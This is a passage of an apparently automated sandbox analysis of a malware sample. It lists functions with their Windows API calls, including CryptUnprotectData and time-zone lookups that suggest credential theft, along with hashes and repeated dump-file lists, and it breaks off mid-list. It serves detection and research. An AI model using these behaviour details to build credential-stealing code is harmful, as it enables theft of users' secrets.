Opcode Fuzzy Hash: 199ca6c94a1bc334dd0b975370bf8c525877568ce283042ad4b05667d162b09d
Instruction Fuzzy Hash: 0D11A4B4240308AFEB10CFA4DC95FAA77B5FB89710F208058FA199B390C7B5A901CB90

Function 008C7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,008D0E00,00000000,?), ref: 008C79B0
RtlAllocateHeap.NTDLL(00000000), ref: 008C79B7
GetLocalTime.KERNEL32(?,?,?,?,?,008D0E00,00000000,?), ref: 008C79C4
wsprintfA.USER32 ref: 008C79F3

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 949b9a191c6ce68c5144d7511c079accfb62c5bae6228fafb1c2351883bb47ba
Instruction ID: 5c3804cca728530cf5e8ce2f3a18ae71c9395c0e67d9ae78cec96f4a3e50c617
Opcode Fuzzy Hash: 949b9a191c6ce68c5144d7511c079accfb62c5bae6228fafb1c2351883bb47ba
Instruction Fuzzy Hash: 271115B2904218ABCB14DFC9DD45BBEB7F8FB48B11F10421AF605A2280E2795941CBB1

Function 008C7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,007BDDD0,00000000,?,008D0E10,00000000,?,00000000,00000000), ref: 008C7A63
RtlAllocateHeap.NTDLL(00000000), ref: 008C7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,007BDDD0,00000000,?,008D0E10,00000000,?,00000000,00000000,?), ref: 008C7A7D
wsprintfA.USER32 ref: 008C7AB7

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: b369a71c609f777c3ec865312c570b7269f8c58e66ba1987d0c2ed19f72d3217
Instruction ID: e2f033df22c1af7fedf1aff68cede45c3c5c15541b1bfbc6f08372f121ebed39
Opcode Fuzzy Hash: b369a71c609f777c3ec865312c570b7269f8c58e66ba1987d0c2ed19f72d3217
Instruction Fuzzy Hash: 58117CB1945228EBEB20DB94DC49FA9B778FB04761F10439AE91AD32C0D7745A40CF91

Function 00C739C8 Relevance: 6.0, Strings: 4, Instructions: 959COMMON

Download Yara Rule

Strings

1pon, xrefs: 00C74540
:EQF, xrefs: 00C73EE9
vH_?, xrefs: 00C73F04
|qo~, xrefs: 00C741C0

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1pon$:EQF$vH_?$|qo~
API String ID: 0-364707436
Opcode ID: 398f5174408c888431da34ae7b345716abff1f60dc936ed47b00e32525d9ae88
Instruction ID: 529ce5d176ad8feb83790739d0d80a27c07edaa3e4439a87fd9c0693743e81c7
Opcode Fuzzy Hash: 398f5174408c888431da34ae7b345716abff1f60dc936ed47b00e32525d9ae88
Instruction Fuzzy Hash: 3F62D5F3A082009FD304AE2DDC8566AFBE9EF94760F1A493DEAC4C7744E63598458793

Function 00C7813D Relevance: 5.4, Strings: 3, Instructions: 1641COMMON

Download Yara Rule

Strings

CQ`/, xrefs: 00C78F9F
hg=W, xrefs: 00C791FC, 00C794C6
hg=W, xrefs: 00C78F1B

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: CQ`/$hg=W$hg=W
API String ID: 0-3204022285
Opcode ID: b219e3401bdb5852fb0df270c99267286ef52da938f1b958ca38d71668a64242
Instruction ID: 1be05d1e96448b4a583315dc54c1d99ba183f018b0415f809abb586cbee538eb
Opcode Fuzzy Hash: b219e3401bdb5852fb0df270c99267286ef52da938f1b958ca38d71668a64242
Instruction Fuzzy Hash: 76B239F360C204AFE708AE2DEC8567AFBE9EF94320F1A453DE6C4C7744E93558058696

Function 008C3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(008CE118,00000000,00000001,008CE108,00000000), ref: 008C3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 008C37B0

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 256d538bf3d8b7cce6c5eddac8bd69acc75fc4dcec89357932fa7b99c9523aa8
Instruction ID: 42c04cb4b172680e9fab2176aff3315d68bcc9f9efc519e2972fe9806feb7d96
Opcode Fuzzy Hash: 256d538bf3d8b7cce6c5eddac8bd69acc75fc4dcec89357932fa7b99c9523aa8
Instruction Fuzzy Hash: E341E970A40A189FDB24DB58CC95F9BB7B5FB48702F4081D8E618E7290E771AE86CF50

Function 008B9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 008B9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 008B9BA3
LocalFree.KERNEL32(?), ref: 008B9BD3

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: abf01ece3350aea0d53fe1af236473bc3634faed181ef5fbf95c5fcec2c7452c
Instruction ID: 68cd6b33fb3bdd5f23f480be216053fb119b2edc1759cb8e36cd5e0617d8695a
Opcode Fuzzy Hash: abf01ece3350aea0d53fe1af236473bc3634faed181ef5fbf95c5fcec2c7452c
Instruction Fuzzy Hash: 7411A5B8A00209EFCB04DF94D985AAE77B9FB88300F104598E915AB350D770AE15CFA1

Function 00CF8B50 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

c$o|, xrefs: 00CF8B71

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: c$o|
API String ID: 0-2353341362
Opcode ID: 79872127eceff8cb87a2abec9f47afbcd5a739c88abf3c1804ce7a854c815ef0
Instruction ID: 27ff0ae38348b13253545a6e111c13ccb0614e097191950c0b0a499bb1c44770
Opcode Fuzzy Hash: 79872127eceff8cb87a2abec9f47afbcd5a739c88abf3c1804ce7a854c815ef0
Instruction Fuzzy Hash: D6413DF39096049FE300BE3DEC946BABBE5EB94220F164A3DE9C0D3714E63558118B83

Function 00C72220 Relevance: .7, Instructions: 691COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad14cae63bcbbbfab32913e9a7a49911aa84203af3cf541f4e5433fa64fc5335
Instruction ID: 89d53fc7baf6552c4be212beb1451ee15a442914e4ddfff1d8b1ef8a1bfd4f67
Opcode Fuzzy Hash: ad14cae63bcbbbfab32913e9a7a49911aa84203af3cf541f4e5433fa64fc5335
Instruction Fuzzy Hash: 5E22C5B3A0C600AFE3056E29DC8677AFBE5EF94320F16492DE6C4C7744E63598418B97

Function 00B6C311 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8612e959590d12dd1b1666ebce6094420bf935f2210c623b585a6dd07a04589a
Instruction ID: dcc828d899ffcba401caea310b0310280a87f627dd444836ddeb304ae681709e
Opcode Fuzzy Hash: 8612e959590d12dd1b1666ebce6094420bf935f2210c623b585a6dd07a04589a
Instruction Fuzzy Hash: 0A6103F3A082005FF704AE2DEC8577AB7D5EB94710F0A863DEBC4C7784E93998148686

Function 00BA8932 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c9566f02f566781deb3a543cb5a405bb70df20ed8cd359794edf5f7cd0035e3
Instruction ID: aa841582b9be0f37f851dc72fc367d38983a2f7275ac543937dfc318131a7651
Opcode Fuzzy Hash: 7c9566f02f566781deb3a543cb5a405bb70df20ed8cd359794edf5f7cd0035e3
Instruction Fuzzy Hash: 4B6114F390C2048FF308AE3DDCAA77ABAD5EB84310F1A453DDAC687784F93959058646

Function 00B596D2 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 279788cfcf28a0f65aacb7877251e8f23bcc2a9ef0f8bac3e579fe4b91a284aa
Instruction ID: bc1c619a9604ad12a6ba54f0f7aa1ddf34e3927b366219206fc997c04ea70ebb
Opcode Fuzzy Hash: 279788cfcf28a0f65aacb7877251e8f23bcc2a9ef0f8bac3e579fe4b91a284aa
Instruction Fuzzy Hash: B4415CF36497052BF300AD2EDC84B6AB7DAEBE8620F2E853DD7C4C3B45E83965068151

Function 00D73C44 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 535645e9a0195915f9fd7dea9be3877d586f309021089d2fefaac47368b86827
Instruction ID: 8894a0d123541f7c3c16d35d8ace99c19bb42fc2f7c946f043b8055d0b8aea2d
Opcode Fuzzy Hash: 535645e9a0195915f9fd7dea9be3877d586f309021089d2fefaac47368b86827
Instruction Fuzzy Hash: 2E4125B390C604DFC3146A28E945639F7E5AB84310F26892EE6DA93280F6718A40B667

Function 00C695F4 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
